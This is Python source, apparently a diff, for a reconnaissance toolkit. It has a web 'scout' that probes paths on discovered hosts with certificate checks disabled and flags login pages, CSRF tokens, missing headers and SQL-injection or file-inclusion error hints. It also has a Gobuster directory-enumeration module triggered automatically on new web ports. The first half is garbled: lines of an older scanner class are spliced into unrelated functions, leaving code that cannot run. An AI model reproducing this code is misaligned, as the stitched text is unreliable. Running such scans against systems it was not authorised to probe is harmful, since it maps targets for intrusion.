"""Check for missing or misconfigured security headers."""
|
||||
security_headers = {
|
||||
'X-Frame-Options': 'Missing X-Frame-Options header',
|
||||
'X-XSS-Protection': 'Missing X-XSS-Protection header',
|
||||
'X-Content-Type-Options': 'Missing X-Content-Type-Options header',
|
||||
'Strict-Transport-Security': 'Missing HSTS header',
|
||||
'Content-Security-Policy': 'Missing Content-Security-Policy'
|
||||
}
|
||||
|
||||
for header, message in security_headers.items():
|
||||
if header not in response.headers:
|
||||
with self.lock:
|
||||
self.vulnerabilities.append({
|
||||
'type': 'missing_security_header',
|
||||
'url': url,
|
||||
'detail': message,
|
||||
'timestamp': datetime.now().isoformat()
|
||||
})
|
||||
|
||||
def check_information_disclosure(self, url, response):
|
||||
"""Check for information disclosure in response."""
|
||||
patterns = {
|
||||
'email': r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}',
|
||||
'internal_ip': r'\b(?:192\.168|10\.|172\.(?:1[6-9]|2[0-9]|3[01]))\.\d{1,3}\.\d{1,3}\b',
|
||||
'debug_info': r'(?:stack trace|debug|error|exception)',
|
||||
'version_info': r'(?:version|powered by|built with)'
|
||||
}
|
||||
|
||||
content = response.text.lower()
|
||||
for info_type, pattern in patterns.items():
|
||||
matches = re.findall(pattern, content, re.IGNORECASE)
|
||||
if matches:
|
||||
with self.lock:
|
||||
self.vulnerabilities.append({
|
||||
'type': 'information_disclosure',
|
||||
'url': url,
|
||||
'info_type': info_type,
|
||||
'findings': matches,
|
||||
'timestamp': datetime.now().isoformat()
|
||||
})
|
||||
|
||||
def save_results(self):
|
||||
"""Save scan results to JSON files."""
|
||||
try:
|
||||
os.makedirs(self.output_dir, exist_ok=True)
|
||||
timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
|
||||
|
||||
# Save discovered paths
|
||||
if self.discovered_paths:
|
||||
paths_file = os.path.join(self.output_dir, f"paths_{timestamp}.json")
|
||||
with open(paths_file, 'w') as f:
|
||||
json.dump(list(self.discovered_paths), f, indent=4)
|
||||
|
||||
# Save vulnerabilities
|
||||
if self.vulnerabilities:
|
||||
vulns_file = os.path.join(self.output_dir, f"vulnerabilities_{timestamp}.json")
|
||||
with open(vulns_file, 'w') as f:
|
||||
json.dump(self.vulnerabilities, f, indent=4)
|
||||
|
||||
# Save form analysis
|
||||
if self.forms:
|
||||
forms_file = os.path.join(self.output_dir, f"forms_{timestamp}.json")
|
||||
with open(forms_file, 'w') as f:
|
||||
json.dump(self.forms, f, indent=4)
|
||||
|
||||
logging.info(f"Results saved to {self.output_dir}")
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to save results: {e}")
|
||||
|
||||
def execute(self):
|
||||
"""Execute the web application scan."""
|
||||
try:
|
||||
logging.info(f"Starting web scan on {self.base_url}")
|
||||
paths = self.load_wordlist()
|
||||
|
||||
with ThreadPoolExecutor(max_workers=self.threads) as executor:
|
||||
executor.map(self.scan_path, paths)
|
||||
|
||||
self.save_results()
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"Scan error: {e}")
|
||||
finally:
|
||||
self.session.close()
|
||||
|
||||
def save_settings(url, wordlist, output_dir, threads, delay):
|
||||
"""Save settings to JSON file."""
|
||||
def _first_hostname_from_row(row: Dict) -> str:
|
||||
try:
|
||||
os.makedirs(DEFAULT_SETTINGS_DIR, exist_ok=True)
|
||||
settings = {
|
||||
"url": url,
|
||||
"wordlist": wordlist,
|
||||
"output_dir": output_dir,
|
||||
"threads": threads,
|
||||
"delay": delay
|
||||
}
|
||||
with open(SETTINGS_FILE, 'w') as f:
|
||||
json.dump(settings, f)
|
||||
logging.info(f"Settings saved to {SETTINGS_FILE}")
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to save settings: {e}")
|
||||
hn = (row.get("Hostname") or row.get("hostname") or row.get("hostnames") or "").strip()
|
||||
if ";" in hn:
|
||||
hn = hn.split(";", 1)[0].strip()
|
||||
return hn
|
||||
except Exception:
|
||||
return ""
|
||||
|
||||
def load_settings():
|
||||
"""Load settings from JSON file."""
|
||||
if os.path.exists(SETTINGS_FILE):
|
||||
|
||||
def _lower_headers(headers: Dict[str, str]) -> Dict[str, str]:
|
||||
out = {}
|
||||
for k, v in (headers or {}).items():
|
||||
if not k:
|
||||
continue
|
||||
out[str(k).lower()] = str(v)
|
||||
return out
|
||||
|
||||
|
||||
def _detect_signals(status: int, headers: Dict[str, str], body_snippet: str) -> Dict[str, object]:
|
||||
h = _lower_headers(headers)
|
||||
www = h.get("www-authenticate", "")
|
||||
set_cookie = h.get("set-cookie", "")
|
||||
|
||||
auth_type = None
|
||||
if status == 401 and "basic" in www.lower():
|
||||
auth_type = "basic"
|
||||
elif status == 401 and "digest" in www.lower():
|
||||
auth_type = "digest"
|
||||
|
||||
snippet = (body_snippet or "").lower()
|
||||
has_form = "<form" in snippet
|
||||
has_password = "type=\"password\"" in snippet or "type='password'" in snippet
|
||||
looks_like_login = bool(has_form and has_password) or any(x in snippet for x in ["login", "sign in", "connexion"])
|
||||
|
||||
csrf_markers = [
|
||||
"csrfmiddlewaretoken",
|
||||
"authenticity_token",
|
||||
"csrf_token",
|
||||
"name=\"_token\"",
|
||||
"name='_token'",
|
||||
]
|
||||
has_csrf = any(m in snippet for m in csrf_markers)
|
||||
|
||||
missing_headers = []
|
||||
for header in [
|
||||
"x-frame-options",
|
||||
"x-content-type-options",
|
||||
"content-security-policy",
|
||||
"referrer-policy",
|
||||
]:
|
||||
if header not in h:
|
||||
missing_headers.append(header)
|
||||
# HSTS is only relevant on HTTPS.
|
||||
if "strict-transport-security" not in h:
|
||||
missing_headers.append("strict-transport-security")
|
||||
|
||||
rate_limited_hint = (status == 429) or ("retry-after" in h) or ("x-ratelimit-remaining" in h)
|
||||
|
||||
# Very cheap "issue hints"
|
||||
issues = []
|
||||
for s in SQLI_ERRORS:
|
||||
if s in snippet:
|
||||
issues.append("sqli_error_hint")
|
||||
break
|
||||
for s in LFI_HINTS:
|
||||
if s in snippet:
|
||||
issues.append("lfi_hint")
|
||||
break
|
||||
for s in DEBUG_HINTS:
|
||||
if s in snippet:
|
||||
issues.append("debug_hint")
|
||||
break
|
||||
|
||||
cookie_names = []
|
||||
if set_cookie:
|
||||
for part in set_cookie.split(","):
|
||||
name = part.split(";", 1)[0].split("=", 1)[0].strip()
|
||||
if name and name not in cookie_names:
|
||||
cookie_names.append(name)
|
||||
|
||||
return {
|
||||
"auth_type": auth_type,
|
||||
"looks_like_login": bool(looks_like_login),
|
||||
"has_csrf": bool(has_csrf),
|
||||
"missing_security_headers": missing_headers[:12],
|
||||
"rate_limited_hint": bool(rate_limited_hint),
|
||||
"issues": issues[:8],
|
||||
"cookie_names": cookie_names[:12],
|
||||
"server": h.get("server", ""),
|
||||
"x_powered_by": h.get("x-powered-by", ""),
|
||||
}
|
||||
|
||||
|
||||
class ValkyrieScout:
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
self._ssl_ctx = ssl._create_unverified_context()
|
||||
|
||||
def _fetch(
|
||||
self,
|
||||
*,
|
||||
ip: str,
|
||||
port: int,
|
||||
scheme: str,
|
||||
path: str,
|
||||
timeout_s: float,
|
||||
user_agent: str,
|
||||
max_bytes: int,
|
||||
) -> Tuple[int, Dict[str, str], str, int, int]:
|
||||
started = time.time()
|
||||
headers_out: Dict[str, str] = {}
|
||||
status = 0
|
||||
size = 0
|
||||
body_snip = ""
|
||||
|
||||
conn = None
|
||||
try:
|
||||
with open(SETTINGS_FILE, 'r') as f:
|
||||
return json.load(f)
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to load settings: {e}")
|
||||
return {}
|
||||
if scheme == "https":
|
||||
conn = HTTPSConnection(ip, port=port, timeout=timeout_s, context=self._ssl_ctx)
|
||||
else:
|
||||
conn = HTTPConnection(ip, port=port, timeout=timeout_s)
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Web application vulnerability scanner")
|
||||
parser.add_argument("-u", "--url", help="Target URL to scan")
|
||||
parser.add_argument("-w", "--wordlist", help="Path to directory wordlist")
|
||||
parser.add_argument("-o", "--output", default=DEFAULT_OUTPUT_DIR, help="Output directory")
|
||||
parser.add_argument("-t", "--threads", type=int, default=10, help="Number of threads")
|
||||
parser.add_argument("-d", "--delay", type=float, default=0.1, help="Delay between requests")
|
||||
conn.request("GET", path, headers={"User-Agent": user_agent, "Accept": "*/*"})
|
||||
resp = conn.getresponse()
|
||||
status = int(resp.status or 0)
|
||||
for k, v in resp.getheaders():
|
||||
if k and v:
|
||||
headers_out[str(k)] = str(v)
|
||||
|
||||
chunk = resp.read(max_bytes)
|
||||
size = len(chunk or b"")
|
||||
try:
|
||||
body_snip = (chunk or b"").decode("utf-8", errors="ignore")
|
||||
except Exception:
|
||||
body_snip = ""
|
||||
except (ConnectionError, TimeoutError, RemoteDisconnected):
|
||||
status = 0
|
||||
except Exception:
|
||||
status = 0
|
||||
finally:
|
||||
try:
|
||||
if conn:
|
||||
conn.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
elapsed_ms = int((time.time() - started) * 1000)
|
||||
return status, headers_out, body_snip, size, elapsed_ms
|
||||
|
||||
def _db_upsert(
|
||||
self,
|
||||
*,
|
||||
mac: str,
|
||||
ip: str,
|
||||
hostname: str,
|
||||
port: int,
|
||||
path: str,
|
||||
status: int,
|
||||
size: int,
|
||||
response_ms: int,
|
||||
content_type: str,
|
||||
payload: dict,
|
||||
user_agent: str,
|
||||
):
|
||||
try:
|
||||
headers_json = json.dumps(payload, ensure_ascii=True)
|
||||
except Exception:
|
||||
headers_json = ""
|
||||
|
||||
self.shared_data.db.execute(
|
||||
"""
|
||||
INSERT INTO webenum (
|
||||
mac_address, ip, hostname, port, directory, status,
|
||||
size, response_time, content_type, tool, method,
|
||||
user_agent, headers, is_active
|
||||
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, 'valkyrie_scout', 'GET', ?, ?, 1)
|
||||
ON CONFLICT(mac_address, ip, port, directory) DO UPDATE SET
|
||||
status = excluded.status,
|
||||
size = excluded.size,
|
||||
response_time = excluded.response_time,
|
||||
content_type = excluded.content_type,
|
||||
hostname = COALESCE(excluded.hostname, webenum.hostname),
|
||||
user_agent = COALESCE(excluded.user_agent, webenum.user_agent),
|
||||
headers = COALESCE(excluded.headers, webenum.headers),
|
||||
last_seen = CURRENT_TIMESTAMP,
|
||||
is_active = 1
|
||||
""",
|
||||
(
|
||||
mac or "",
|
||||
ip or "",
|
||||
hostname or "",
|
||||
int(port),
|
||||
path or "/",
|
||||
int(status),
|
||||
int(size or 0),
|
||||
int(response_ms or 0),
|
||||
content_type or "",
|
||||
user_agent or "",
|
||||
headers_json,
|
||||
),
|
||||
)
|
||||
|
||||
def execute(self, ip, port, row, status_key) -> str:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
try:
|
||||
port_i = int(port) if str(port).strip() else int(getattr(self, "port", 80) or 80)
|
||||
except Exception:
|
||||
port_i = 80
|
||||
|
||||
scheme = _scheme_for_port(port_i)
|
||||
hostname = _first_hostname_from_row(row)
|
||||
mac = (row.get("MAC Address") or row.get("mac_address") or row.get("mac") or "").strip()
|
||||
|
||||
timeout_s = float(getattr(self.shared_data, "web_probe_timeout_s", 4.0))
|
||||
user_agent = str(getattr(self.shared_data, "web_probe_user_agent", "BjornWebScout/1.0"))
|
||||
max_bytes = int(getattr(self.shared_data, "web_probe_max_bytes", 65536))
|
||||
delay_s = float(getattr(self.shared_data, "valkyrie_delay_s", 0.05))
|
||||
|
||||
paths = getattr(self.shared_data, "valkyrie_scout_paths", None)
|
||||
if not isinstance(paths, list) or not paths:
|
||||
paths = DEFAULT_PATHS
|
||||
|
||||
# UI
|
||||
self.shared_data.bjorn_orch_status = "ValkyrieScout"
|
||||
self.shared_data.bjorn_status_text2 = f"{ip}:{port_i}"
|
||||
self.shared_data.comment_params = {"ip": ip, "port": str(port_i)}
|
||||
|
||||
progress = ProgressTracker(self.shared_data, len(paths))
|
||||
|
||||
try:
|
||||
for p in paths:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
path = str(p or "/").strip()
|
||||
if not path.startswith("/"):
|
||||
path = "/" + path
|
||||
|
||||
status, headers, body, size, elapsed_ms = self._fetch(
|
||||
ip=ip,
|
||||
port=port_i,
|
||||
scheme=scheme,
|
||||
path=path,
|
||||
timeout_s=timeout_s,
|
||||
user_agent=user_agent,
|
||||
max_bytes=max_bytes,
|
||||
)
|
||||
|
||||
# Only keep minimal info; do not store full HTML.
|
||||
ctype = headers.get("Content-Type") or headers.get("content-type") or ""
|
||||
signals = _detect_signals(status, headers, body)
|
||||
|
||||
payload = {
|
||||
"signals": signals,
|
||||
"sample": {"status": int(status), "content_type": ctype, "rt_ms": int(elapsed_ms)},
|
||||
}
|
||||
|
||||
try:
|
||||
self._db_upsert(
|
||||
mac=mac,
|
||||
ip=ip,
|
||||
hostname=hostname,
|
||||
port=port_i,
|
||||
path=path,
|
||||
status=status or 0,
|
||||
size=size,
|
||||
response_ms=elapsed_ms,
|
||||
content_type=ctype,
|
||||
payload=payload,
|
||||
user_agent=user_agent,
|
||||
)
|
||||
except Exception as e:
|
||||
logger.error(f"DB write failed for {ip}:{port_i}{path}: {e}")
|
||||
|
||||
self.shared_data.comment_params = {
|
||||
"ip": ip,
|
||||
"port": str(port_i),
|
||||
"path": path,
|
||||
"status": str(status),
|
||||
"login": str(int(bool(signals.get("looks_like_login") or signals.get("auth_type")))),
|
||||
}
|
||||
progress.advance(1)
|
||||
|
||||
if delay_s > 0:
|
||||
time.sleep(delay_s)
|
||||
|
||||
progress.set_complete()
|
||||
return "success"
|
||||
finally:
|
||||
self.shared_data.bjorn_progress = ""
|
||||
self.shared_data.comment_params = {}
|
||||
self.shared_data.bjorn_status_text2 = ""
|
||||
|
||||
|
||||
# -------------------- Optional CLI (debug/manual) --------------------
|
||||
if __name__ == "__main__":
|
||||
import argparse
|
||||
from shared import SharedData
|
||||
|
||||
parser = argparse.ArgumentParser(description="ValkyrieScout (light web scout)")
|
||||
parser.add_argument("--ip", required=True)
|
||||
parser.add_argument("--port", default="80")
|
||||
args = parser.parse_args()
|
||||
|
||||
settings = load_settings()
|
||||
url = args.url or settings.get("url")
|
||||
wordlist = args.wordlist or settings.get("wordlist")
|
||||
output_dir = args.output or settings.get("output_dir")
|
||||
threads = args.threads or settings.get("threads")
|
||||
delay = args.delay or settings.get("delay")
|
||||
sd = SharedData()
|
||||
act = ValkyrieScout(sd)
|
||||
row = {"MAC Address": sd.get_raspberry_mac() or "__GLOBAL__", "Hostname": ""}
|
||||
print(act.execute(args.ip, args.port, row, "ValkyrieScout"))
|
||||
|
||||
if not url:
|
||||
logging.error("URL is required. Use -u or save it in settings")
|
||||
return
|
||||
|
||||
save_settings(url, wordlist, output_dir, threads, delay)
|
||||
|
||||
scanner = ValkyieScout(
|
||||
url=url,
|
||||
wordlist=wordlist,
|
||||
output_dir=output_dir,
|
||||
threads=threads,
|
||||
delay=delay
|
||||
)
|
||||
scanner.execute()
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -3,11 +3,11 @@
|
||||
"""
|
||||
web_enum.py — Gobuster Web Enumeration -> DB writer for table `webenum`.
|
||||
|
||||
- Writes each finding into the `webenum` table
|
||||
- ON CONFLICT(mac_address, ip, port, directory) DO UPDATE
|
||||
- Respects orchestrator stop flag (shared_data.orchestrator_should_exit)
|
||||
- No filesystem output: parse Gobuster stdout directly
|
||||
- Filtrage dynamique des statuts HTTP via shared_data.web_status_codes
|
||||
- Writes each finding into the `webenum` table in REAL-TIME (Streaming).
|
||||
- Updates bjorn_progress with actual percentage (0-100%).
|
||||
- Respects orchestrator stop flag (shared_data.orchestrator_should_exit) immediately.
|
||||
- No filesystem output: parse Gobuster stdout/stderr directly.
|
||||
- Filtrage dynamique des statuts HTTP via shared_data.web_status_codes.
|
||||
"""
|
||||
|
||||
import re
|
||||
@@ -15,6 +15,9 @@ import socket
|
||||
import subprocess
|
||||
import threading
|
||||
import logging
|
||||
import time
|
||||
import os
|
||||
import select
|
||||
from typing import List, Dict, Tuple, Optional, Set
|
||||
|
||||
from shared import SharedData
|
||||
@@ -27,8 +30,8 @@ b_class = "WebEnumeration"
|
||||
b_module = "web_enum"
|
||||
b_status = "WebEnumeration"
|
||||
b_port = 80
|
||||
b_service = '["http","https"]'
|
||||
b_trigger = 'on_any:["on_web_service","on_new_port:80","on_new_port:443","on_new_port:8080","on_new_port:8443","on_new_port:9443","on_new_port:8000","on_new_port:8888","on_new_port:81","on_new_port:5000","on_new_port:5001","on_new_port:7080","on_new_port:9080"]'
|
||||
b_service = '["http","https"]'
|
||||
b_trigger = 'on_any:["on_web_service","on_new_port:80","on_new_port:443","on_new_port:8080","on_new_port:8443","on_new_port:9443","on_new_port:8000","on_new_port:8888","on_new_port:81","on_new_port:5000","on_new_port:5001","on_new_port:7080","on_new_port:9080"]'
|
||||
b_parent = None
|
||||
b_priority = 9
|
||||
b_cooldown = 1800
|
||||
@@ -36,8 +39,6 @@ b_rate_limit = '3/86400'
|
||||
b_enabled = 1
|
||||
|
||||
# -------------------- Defaults & parsing --------------------
|
||||
# Valeur de secours si l'UI n'a pas encore initialisé shared_data.web_status_codes
|
||||
# (par défaut: 2xx utiles, 3xx, 401/403/405 et tous les 5xx; 429 non inclus)
|
||||
DEFAULT_WEB_STATUS_CODES = [
|
||||
200, 201, 202, 203, 204, 206,
|
||||
301, 302, 303, 307, 308,
|
||||
@@ -50,7 +51,6 @@ CTL_RE = re.compile(r"[\x00-\x1F\x7F]") # non-printables
|
||||
|
||||
# Gobuster "dir" line examples handled:
|
||||
# /admin (Status: 301) [Size: 310] [--> http://10.0.0.5/admin/]
|
||||
# /images (Status: 200) [Size: 12345]
|
||||
GOBUSTER_LINE = re.compile(
|
||||
r"""^(?P<path>\S+)\s*
|
||||
\(Status:\s*(?P<status>\d{3})\)\s*
|
||||
@@ -60,13 +60,14 @@ GOBUSTER_LINE = re.compile(
|
||||
re.VERBOSE
|
||||
)
|
||||
|
||||
# Regex pour capturer la progression de Gobuster sur stderr
|
||||
# Ex: "Progress: 1024 / 4096 (25.00%)"
|
||||
GOBUSTER_PROGRESS_RE = re.compile(r"Progress:\s+(?P<current>\d+)\s*/\s+(?P<total>\d+)")
|
||||
|
||||
|
||||
def _normalize_status_policy(policy) -> Set[int]:
|
||||
"""
|
||||
Transforme une politique "UI" en set d'entiers HTTP.
|
||||
policy peut contenir:
|
||||
- int (ex: 200, 403)
|
||||
- "xXX" (ex: "2xx", "5xx")
|
||||
- "a-b" (ex: "500-504")
|
||||
"""
|
||||
codes: Set[int] = set()
|
||||
if not policy:
|
||||
@@ -99,30 +100,48 @@ def _normalize_status_policy(policy) -> Set[int]:
|
||||
class WebEnumeration:
|
||||
"""
|
||||
Orchestrates Gobuster web dir enum and writes normalized results into DB.
|
||||
In-memory only: no CSV, no temp files.
|
||||
Streaming mode: Reads stdout/stderr in real-time for DB inserts and Progress UI.
|
||||
"""
|
||||
def __init__(self, shared_data: SharedData):
|
||||
self.shared_data = shared_data
|
||||
self.gobuster_path = "/usr/bin/gobuster" # verify with `which gobuster`
|
||||
self.wordlist = self.shared_data.common_wordlist
|
||||
self.lock = threading.Lock()
|
||||
|
||||
# Cache pour la taille de la wordlist (pour le calcul du %)
|
||||
self.wordlist_size = 0
|
||||
self._count_wordlist_lines()
|
||||
|
||||
# ---- Sanity checks
|
||||
import os
|
||||
self._available = True
|
||||
if not os.path.exists(self.gobuster_path):
|
||||
raise FileNotFoundError(f"Gobuster not found at {self.gobuster_path}")
|
||||
logger.error(f"Gobuster not found at {self.gobuster_path}")
|
||||
self._available = False
|
||||
if not os.path.exists(self.wordlist):
|
||||
raise FileNotFoundError(f"Wordlist not found: {self.wordlist}")
|
||||
logger.error(f"Wordlist not found: {self.wordlist}")
|
||||
self._available = False
|
||||
|
||||
# Politique venant de l’UI : créer si absente
|
||||
if not hasattr(self.shared_data, "web_status_codes") or not self.shared_data.web_status_codes:
|
||||
self.shared_data.web_status_codes = DEFAULT_WEB_STATUS_CODES.copy()
|
||||
|
||||
logger.info(
|
||||
f"WebEnumeration initialized (stdout mode, no files). "
|
||||
f"Using status policy: {self.shared_data.web_status_codes}"
|
||||
f"WebEnumeration initialized (Streaming Mode). "
|
||||
f"Wordlist lines: {self.wordlist_size}. "
|
||||
f"Policy: {self.shared_data.web_status_codes}"
|
||||
)
|
||||
|
||||
def _count_wordlist_lines(self):
|
||||
"""Compte les lignes de la wordlist une seule fois pour calculer le %."""
|
||||
if self.wordlist and os.path.exists(self.wordlist):
|
||||
try:
|
||||
# Lecture rapide bufferisée
|
||||
with open(self.wordlist, 'rb') as f:
|
||||
self.wordlist_size = sum(1 for _ in f)
|
||||
except Exception as e:
|
||||
logger.error(f"Error counting wordlist lines: {e}")
|
||||
self.wordlist_size = 0
|
||||
|
||||
# -------------------- Utilities --------------------
|
||||
def _scheme_for_port(self, port: int) -> str:
|
||||
https_ports = {443, 8443, 9443, 10443, 9444, 5000, 5001, 7080, 9080}
|
||||
@@ -184,155 +203,195 @@ class WebEnumeration:
|
||||
except Exception as e:
|
||||
logger.error(f"DB insert error for {ip}:{port}{directory}: {e}")
|
||||
|
||||
# -------------------- Gobuster runner (stdout) --------------------
|
||||
def _run_gobuster_stdout(self, url: str) -> Optional[str]:
|
||||
base_cmd = [
|
||||
self.gobuster_path, "dir",
|
||||
"-u", url,
|
||||
"-w", self.wordlist,
|
||||
"-t", "10",
|
||||
"--quiet",
|
||||
"--no-color",
|
||||
# Si supporté par ta version gobuster, tu peux réduire le bruit dès la source :
|
||||
# "-b", "404,429",
|
||||
]
|
||||
|
||||
def run(cmd):
|
||||
return subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
|
||||
|
||||
# Try with -z first
|
||||
cmd = base_cmd + ["-z"]
|
||||
logger.info(f"Running Gobuster on {url}...")
|
||||
try:
|
||||
res = run(cmd)
|
||||
if res.returncode == 0:
|
||||
logger.success(f"Gobuster OK on {url}")
|
||||
return res.stdout or ""
|
||||
# Fallback if -z is unknown
|
||||
if "unknown flag" in (res.stderr or "").lower() or "invalid" in (res.stderr or "").lower():
|
||||
logger.info("Gobuster doesn't support -z, retrying without it.")
|
||||
res2 = run(base_cmd)
|
||||
if res2.returncode == 0:
|
||||
logger.success(f"Gobuster OK on {url} (no -z)")
|
||||
return res2.stdout or ""
|
||||
logger.info(f"Gobuster failed on {url}: {res2.stderr.strip()}")
|
||||
return None
|
||||
logger.info(f"Gobuster failed on {url}: {res.stderr.strip()}")
|
||||
return None
|
||||
except Exception as e:
|
||||
logger.error(f"Gobuster exception on {url}: {e}")
|
||||
return None
|
||||
|
||||
def _parse_gobuster_text(self, text: str) -> List[Dict]:
|
||||
"""
|
||||
Parse gobuster stdout lines into entries:
|
||||
{ 'path': '/admin', 'status': 301, 'size': 310, 'redirect': 'http://...'|None }
|
||||
"""
|
||||
entries: List[Dict] = []
|
||||
if not text:
|
||||
return entries
|
||||
|
||||
for raw in text.splitlines():
|
||||
# 1) strip ANSI/control BEFORE regex
|
||||
line = ANSI_RE.sub("", raw)
|
||||
line = CTL_RE.sub("", line)
|
||||
line = line.strip()
|
||||
if not line:
|
||||
continue
|
||||
|
||||
m = GOBUSTER_LINE.match(line)
|
||||
if not m:
|
||||
logger.debug(f"Unparsed line: {line}")
|
||||
continue
|
||||
|
||||
# 2) extract all fields NOW
|
||||
path = m.group("path") or ""
|
||||
status = int(m.group("status"))
|
||||
size = int(m.group("size") or 0)
|
||||
redir = m.group("redir")
|
||||
|
||||
# 3) normalize path
|
||||
if not path.startswith("/"):
|
||||
path = "/" + path
|
||||
path = "/" + path.strip("/")
|
||||
|
||||
entries.append({
|
||||
"path": path,
|
||||
"status": status,
|
||||
"size": size,
|
||||
"redirect": redir.strip() if redir else None
|
||||
})
|
||||
|
||||
logger.info(f"Parsed {len(entries)} entries from gobuster stdout")
|
||||
return entries
|
||||
|
||||
# -------------------- Public API --------------------
|
||||
# -------------------- Public API (Streaming Version) --------------------
|
||||
def execute(self, ip: str, port: int, row: Dict, status_key: str) -> str:
|
||||
"""
|
||||
Run gobuster on (ip,port), parse stdout, upsert each finding into DB.
|
||||
Run gobuster on (ip,port), STREAM stdout/stderr, upsert findings real-time.
|
||||
Updates bjorn_progress with 0-100% completion.
|
||||
Returns: 'success' | 'failed' | 'interrupted'
|
||||
"""
|
||||
if not self._available:
|
||||
return 'failed'
|
||||
|
||||
try:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Interrupted before start (orchestrator flag).")
|
||||
return "interrupted"
|
||||
|
||||
scheme = self._scheme_for_port(port)
|
||||
base_url = f"{scheme}://{ip}:{port}"
|
||||
logger.info(f"Enumerating {base_url} ...")
|
||||
self.shared_data.bjornorch_status = "WebEnumeration"
|
||||
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Interrupted before gobuster run.")
|
||||
return "interrupted"
|
||||
|
||||
stdout_text = self._run_gobuster_stdout(base_url)
|
||||
if stdout_text is None:
|
||||
return "failed"
|
||||
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Interrupted after gobuster run (stdout captured).")
|
||||
return "interrupted"
|
||||
|
||||
entries = self._parse_gobuster_text(stdout_text)
|
||||
if not entries:
|
||||
logger.warning(f"No entries for {base_url}.")
|
||||
return "success" # scan ran fine but no findings
|
||||
|
||||
# ---- Filtrage dynamique basé sur shared_data.web_status_codes
|
||||
allowed = self._allowed_status_set()
|
||||
pre = len(entries)
|
||||
entries = [e for e in entries if e["status"] in allowed]
|
||||
post = len(entries)
|
||||
if post < pre:
|
||||
preview = sorted(list(allowed))[:10]
|
||||
logger.info(
|
||||
f"Filtered out {pre - post} entries not in policy "
|
||||
f"{preview}{'...' if len(allowed) > 10 else ''}."
|
||||
)
|
||||
|
||||
# Setup Initial UI
|
||||
self.shared_data.comment_params = {"ip": ip, "port": str(port), "url": base_url}
|
||||
self.shared_data.bjorn_orch_status = "WebEnumeration"
|
||||
self.shared_data.bjorn_progress = "0%"
|
||||
|
||||
logger.info(f"Enumerating {base_url} (Stream Mode)...")
|
||||
|
||||
# Prepare Identity & Policy
|
||||
mac_address, hostname = self._extract_identity(row)
|
||||
if not hostname:
|
||||
hostname = self._reverse_dns(ip)
|
||||
allowed = self._allowed_status_set()
|
||||
|
||||
for e in entries:
|
||||
self._db_add_result(
|
||||
mac_address=mac_address,
|
||||
ip=ip,
|
||||
hostname=hostname,
|
||||
port=port,
|
||||
directory=e["path"],
|
||||
status=e["status"],
|
||||
size=e.get("size", 0),
|
||||
response_time=0, # gobuster doesn't expose timing here
|
||||
content_type=None, # unknown here; a later HEAD/GET probe can fill it
|
||||
tool="gobuster"
|
||||
# Command Construction
|
||||
# NOTE: Removed "--quiet" and "-z" to ensure we get Progress info on stderr
|
||||
# But we use --no-color to make parsing easier
|
||||
cmd = [
|
||||
self.gobuster_path, "dir",
|
||||
"-u", base_url,
|
||||
"-w", self.wordlist,
|
||||
"-t", "10", # Safe for RPi Zero
|
||||
"--no-color",
|
||||
"--no-progress=false", # Force progress bar even if redirected
|
||||
]
|
||||
|
||||
process = None
|
||||
findings_count = 0
|
||||
stop_requested = False
|
||||
|
||||
# For progress calc
|
||||
total_lines = self.wordlist_size if self.wordlist_size > 0 else 1
|
||||
last_progress_update = 0
|
||||
|
||||
try:
|
||||
# Merge stdout and stderr so we can read everything in one loop
|
||||
process = subprocess.Popen(
|
||||
cmd,
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.STDOUT,
|
||||
text=True,
|
||||
bufsize=1,
|
||||
universal_newlines=True
|
||||
)
|
||||
|
||||
return "success"
|
||||
# Use select() (on Linux) so we can react quickly to stop requests
|
||||
# without blocking forever on readline().
|
||||
while True:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
stop_requested = True
|
||||
break
|
||||
|
||||
if process.poll() is not None:
|
||||
# Process exited; drain remaining buffered output if any
|
||||
line = process.stdout.readline() if process.stdout else ""
|
||||
if not line:
|
||||
break
|
||||
else:
|
||||
line = ""
|
||||
if process.stdout:
|
||||
if os.name != "nt":
|
||||
r, _, _ = select.select([process.stdout], [], [], 0.2)
|
||||
if r:
|
||||
line = process.stdout.readline()
|
||||
else:
|
||||
# Windows: select() doesn't work on pipes; best-effort read.
|
||||
line = process.stdout.readline()
|
||||
|
||||
if not line:
|
||||
continue
|
||||
|
||||
# 3. Clean Line
|
||||
clean_line = ANSI_RE.sub("", line).strip()
|
||||
clean_line = CTL_RE.sub("", clean_line).strip()
|
||||
if not clean_line:
|
||||
continue
|
||||
|
||||
# 4. Check for Progress
|
||||
if "Progress:" in clean_line:
|
||||
now = time.time()
|
||||
# Update UI max every 0.5s to save CPU
|
||||
if now - last_progress_update > 0.5:
|
||||
m_prog = GOBUSTER_PROGRESS_RE.search(clean_line)
|
||||
if m_prog:
|
||||
curr = int(m_prog.group("current"))
|
||||
# Calculate %
|
||||
pct = (curr / total_lines) * 100
|
||||
pct = min(pct, 100.0)
|
||||
self.shared_data.bjorn_progress = f"{int(pct)}%"
|
||||
last_progress_update = now
|
||||
continue
|
||||
|
||||
# 5. Check for Findings (Standard Gobuster Line)
|
||||
m_res = GOBUSTER_LINE.match(clean_line)
|
||||
if m_res:
|
||||
st = int(m_res.group("status"))
|
||||
|
||||
# Apply Filtering Logic BEFORE DB
|
||||
if st in allowed:
|
||||
path = m_res.group("path")
|
||||
if not path.startswith("/"): path = "/" + path
|
||||
size = int(m_res.group("size") or 0)
|
